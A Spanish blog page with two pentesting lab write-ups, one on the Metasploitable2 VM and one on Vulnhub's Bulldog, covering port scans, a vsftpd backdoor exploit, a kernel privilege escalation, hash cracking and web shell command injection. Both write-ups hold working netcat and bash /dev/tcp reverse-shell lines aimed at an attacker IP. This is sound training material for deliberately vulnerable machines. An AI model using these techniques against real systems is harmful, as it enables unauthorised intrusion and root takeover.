.

.
Mostrando entradas con la etiqueta red team. Mostrar todas las entradas
Mostrando entradas con la etiqueta red team. Mostrar todas las entradas

miércoles, 24 de julio de 2019

Metasploitable2 - Pentesting (Parte 1)

Siguiendo la línea de otras entradas, en las que hemos estado practicando con máquinas vulnerables nuestras habilidades técnicas, en cuanto a lo que a pentesting se refiere, hoy os traigo una de las clásicas y más utilizadas para este propósito: "Metasploitable2".

DESCARGA_: https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

Datos sobre la máquina:



Nos encontramos ante un sistema Linux, que está diseñado intencionalmente vulnerable, con el objetivo de que los profesionales del sector, puedan probar sus habilidades y las diversas herramientas de seguridad.

La máquina contiene muchas de las vulnerabilidades más conocidas y en este caso, muchas más que su predecesora.

Podemos ejecutarla a través de plataformas de virtualización, como: VMWare, VirtualBox.
Una vez abierta dentro de una de estas plataformas de virtualización, ya viene configurada de manera predeterminada.

En los documentos explicativos que encontraremos con la máquina a la hora de descargarla, se pueden encontrar las diferentes credenciales por defecto, entre ellas las de administrador (msfadmin/msfadmin).

Una vez descargada y arrancada, en alguna de las plataformas de virtualización indicadas (viene configurada por defecto), la máquina pasara a formar con su IP asignada mediante NAT, parte de la misma red que nuestra máquina atacante (Kali Linux).

Una vez localizada la IP que le ha sido asignada a Metasploitable2 ( para lo cual podemos utilizar por ejemplo, la herramienta Nmap en nuestro Kali, con el comando: # nmap -sn 192.168.xx.xx/24 ), empezamos haciendo un escaneo de puertos de la misma: nmap -sT -sV -O -v -p1-65535 192.168.x.x.

Como puede observarse, la cantidad de puertos abiertos es abrumadora. Y esa es la cuestión, ya que el objetivo es poder probar sobre cada uno de ellos diferentes técnicas y encontrar diversas vulnerabilidades.



PUERTO 21 (FTP):

Vamos a empezar por el primero de los puertos que encontramos abiertos, el FTP.

Podemos observar, que por el corre la versión de software: vsftpd 2.3.4

Buscando por Internet información asociada a esta versión, encontramos que es vulnerable y que tiene un “backdoor” (Encontrado en exploit-db).


Como puede observarse en la captura de pantalla de exploit-db, el exploit está asociado a la ejecución en Metasploit, por lo que pasaremos a utilizar dicha herramienta.

Ejecutamos Metasploit en nuestra máquina Kali Linux (# msfconsole) y hacemos una búsqueda del exploit para la versión de vsftp instalada en el servidor:
# search vsftpd 2.3.4


Cargamos el exploit # use exploit /unix/ftp/vsftpd_234_backdoor.

No hace falta Payload, ya que el exploit viene preparado directamente para atacar la “backdoor”.
Se mete la IP objetivo ( # set RHOST IP) y ejecutamos el exploit: # exploit


Como puede comprobarse en la captura, ahora ya somos root en la máquina.
A forma de prueba y como POC, de lo que podría pasar si un atacante se hace con el control, lazo el comando "reboot" desde la máquina atacante y Metasploitable2 es reiniciado.



PUERTO 22 (SSH):

Entre las tareas del auditor, deben de existir una serie de pautas o tareas a checkear automáticamente, aunque solo sea por la fuerza de la costumbre.
La mayoría de las veces, no encontraremos nada, pero otras nos llevaremos una sorpresa.
En este caso, probando credenciales por defecto de SSH:


Entramos utilizando usuario y contraseña “user”.


Accedemos con el usuario user, el cual no tiene privilegios, con lo cual tenemos que escalar para hacernos con un usuario administrador.

Encontramos, que el sistema operativo es una versión antigua de linux, por lo que con toda probabilidad tendrá exploits conocidos.


  Buscamos en Exploit-db:


https://www.exploit-db.com/exploits/8572

Descargamos el exploit y lo metemos en: /var/www/html


  Tenemos que subirlo a la máquina de Metasploitable2, a la que por otro lado ya estamos conectados. Para pasar el archivo lo haremos utilizando Apache.


  Una vez que tenemos el exploit descargado en la máquina atacante (Nuestro Kali) y apache arrancado, solo queda ir a la consola en la que estamos conectados con Metasploitable mediante SSH.
Aquí descargaremos el exploit mediante “wget”.


  Si seguimos las instrucciones ofrecidas por el exploit en la web en que lo hemos descargado, necesitamos saber el PID de la tarjeta de red.


  Vemos que tenemos en la ruta que nos indican: /proc/net/netlink


  PID: 2712
*(En mi caso en concreto, el PID puede cambiar en cada máquina en que realicemos la prueba).

Por otro lado, a parte de ser necesario saber el PID, para la ejecución del exploit, en la información adjunta del exploit, nos dicen que lo que se ejecutará con el lanzamiento de este, es el proceso /tmp/run:


Por lo tanto, para completar el exploit necesitamos un payload que conecte con la máquina atacante (nuestro Kali), a modo de escucha (netcat), y sacar una shell con usuario “root”.
Todo esto, estará ubicado en ../run que será el script que se ejecute.

En resumen, debemos de colocar una shell en ../run,  que conecte con la máquina atacante al ejecutar el exploit.

Creamos un archivo con el nombre “run” que contenga el comando para la shell.
Yo voy a usar uno en bash.

#!/bin/bash/bin/netcat -e /bin/bash IP_KALI puerto

Debemos colocarlo en la misma carpeta que esta el exploit, en la máquina de Metasploitable2.
Vamos a realizar el mismo proceso que seguimos con el exploit. Creamos el archivo en la máquina Kali y lo pasamos a Metasploitable a través de la conexión SSH.

En el payload indicamos la IP de la máquina atacante y el puerto que queramos, como podéis ver en el comando.


  Nos queda así:
#!/bin/bash/bin/netcat -e /bin/bash 192.168.77.147 4444


  Guardamos y lo pasamos a la máquina objetivo, mediante wget.


  Ahora, antes de ejecutar el exploit, ponemos en escucha la máquina atacante (KALI), en el mismo puerto indicado en el payload, en este caso 4444.


  *.Como me gusta también indicar los posibles errores que podemos cometer, o acciones que se nos pueden pasar por alto, ya que todos nos podemos despistar en algún momento...
1º - Como podéis observar no he compilado.
2º - Debería de estar en el directorio temporal /tmp



  Ahora si!!

Volvemos al último punto:

Ponemos en escucha netcat en la máquina atacante Kali.

Hecho esto, en la terminal en la que estamos conectados mediante ssh con Metasploitable, ejecutamos el exploit junto al PID (2712 en mi caso): ./8572 2712


  Como podéis observar en la captura, lo hemos conseguido, somos root.



viernes, 3 de agosto de 2018

Bulldog - Vulnhub



Vamos ha intentar hackear una máquina que encontramos en Vulnhub: Bulldog

Podemos descargarla de:
https://download.vulnhub.com/bulldog

Historia de la máquina:

Recientemente, Bulldog Industries hizo que su sitio web fuera borrado y propiedad del malicioso equipo alemán Shepherd Hack Team. ¿Podría esto significar que hay más vulnerabilidades para explotar? ¿Por qué no lo descubres? :

Este es un Boot-to-Root estándar. ¡Su único objetivo es ingresar al directorio raíz y ver el mensaje de felicitación, cómo lo hace depende de usted!


Dificultad: Principiante / Intermedio, si te quedas atascado, trata de descubrir las diferentes formas en que puedes interactuar con el sistema. Esa es mi única pista;)

Hecho por Nick Frichette (frichetten.com) Twitter: @frichette_n

Recomiendo ejecutar esto en Virtualbox, tuve algunos problemas para hacerlo funcionar en VMware. Además DHCP está habilitado, por lo que no debería tener problemas para conectarlo a su red. Por defecto está en modo puente, pero puede cambiarlo si lo desea.



Pongamonos manos a la obra:

Empezaré haciendo un nmap de la red para localizar la máquina Bulldog.

#nmap -sn 192.168.1.1/24




Una vez localizada la máquina, paso a hacer un escaneo de puertos:
$ nmap -A -sT -sV -O -vvv -T4 192.168.1.158


Tras lo que encuentro los puertos OPEN: 23 / 80 / 8080



Uso el comando “enum4linux”, para ver que información puedo extraer de usuarios de sistema, grupos, etc.

Solo consigo extraer nombres de usuario:




Paso a otro vector, la web o puerto 80: (192.168.1.158:80)







Cambio el subdomio “/notice” por “/admin” y encuentro el acceso al panel de administración.






Pruebo fuerza bruta con los usuarios encontrados en la búsqueda de información y algunas claves genéricas, pero no hay suerte.





Pero viendo que he encontrado /admin (subdominio oculto) me decido a utilizar DIRBUSTER para ver que más puedo encontrar.







Aunque no lo haya ido nombrando, en cada una de las páginas web, a falta de otra información y de los pocos vectores de ataque que encuentro, he ido también echando un ojo al código fuente por si este me revelara algún dato que me pudiera servir de utilidad para algo.

Pues esta web /dev/ la que parecía que menos importancia iba a tener de todas me encuentro esto:





Hashes de las passwords!!!! 

 <!--Need these password hashes for testingDjango's default is too complex--> 
 <!--We'll remove these in prodIt's not like a hacker can do anything with a hash--> 


Si entiendo bien el asunto, aquí tenemos los user:
-Malik
-Kevin
-Ashley
-Nick
-Sarah


Y los hashes de sus passwords. 

Busco los hashes en varias web, y me decanto por:  http://hashtoolkit.com 

No encuentro ninguno de los hashes, hasta que busco el correspondiente al usernick 


Me devuelve la password: bulldog 





Con el usuario y contraseña, me voy al panel de 1.158/admin y entro a la primera.



Realmente creo que no he conseguido nada, porque el usuario está logeado pero no se me permite ninguna acción.

Dandole vueltas, al volver a la web de desarrolladores a ver si pone algo más u otro usuario podría logearse con más permisos, encuentro que donde ponía “webshell” se ha vuelto un enlace y al pulsarlo puedo acceder.




http://192.168.1.158/dev/shell/







Solo permite los comandos que se ven en pantalla.
Así que al menos los utilizaré para tener más información del sistema.








Para sacar la información, pruebo a concatenar los comandos “&” y me doy cuenta de que los comandos que no coge (permite), tipo “uname” si los concatenas a uno de los que si permite, también los toma por válidos.




Intento utilizar netcat (no sé si lo tiene instalado) para conectar con mi Kali y hacer una Shell.






No funciona




Pruebo con:

ls && bash -i >& /dev/tcp/192.168.1.54/4444 0>&1

Tampoco nada.


Vistos los resultados obtenidos, me pongo a buscar alternativas a nc de shell.

En: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet , encuentro esto (Muy interesante, aunque no sé si valido para ahora) (https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem)

---------
But, What If You Don't Have -e Support?







-------------


Sigo dando vueltas al asunto e investigando sobre el tema.

Después de probar varias combinaciones doy con la siguiente:

echo 'bash -i >& /dev/tcp/192.168.1.56/4444 0>&1' | bash





Pongo el terminal de linux a la escucha:





Estoy dentro.

Vamos a por ello.
Ahora puedo recopilar información del sistema.


ls y whoami







Mostramos la info de grupos del sistema en /etc/group










Me meto en el usuario: bulldogadmin

El ls -l no me muestra nada, no me devuelve información.


Miro otras opciones por si hubiese algo oculto.





Cat no funciona con otro de los archivos encontrados 







  Podemos ver esto dentro del archivo: 
___________________________________________________________________________________________________________ 
__gmon_start__ 
GLIBC_2.4 
GLIBC_2.2.5 
UH-H 
SUPERultH imatePASH SWORDyouH CANTget 
dH34%( 
AWAVA 
AUATL 
[]A\A]A^A_ 
Please enter a valid username to use root privileges 
 Usage: ./customPermissionApp <username> sudo su root 
;*3$" 
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609 
------------------------------------------------------------------------------------------------------------------------------------------------------------------ 

Tal y como se puede ver en el strings del archivo customPermissionApp, se observa lo que podría ser la contraseña de root. 
Para ello hace falta ejecutar sudo su. 
Sin embargo se necesita una shell conTTY 




 Conseguido somos root!!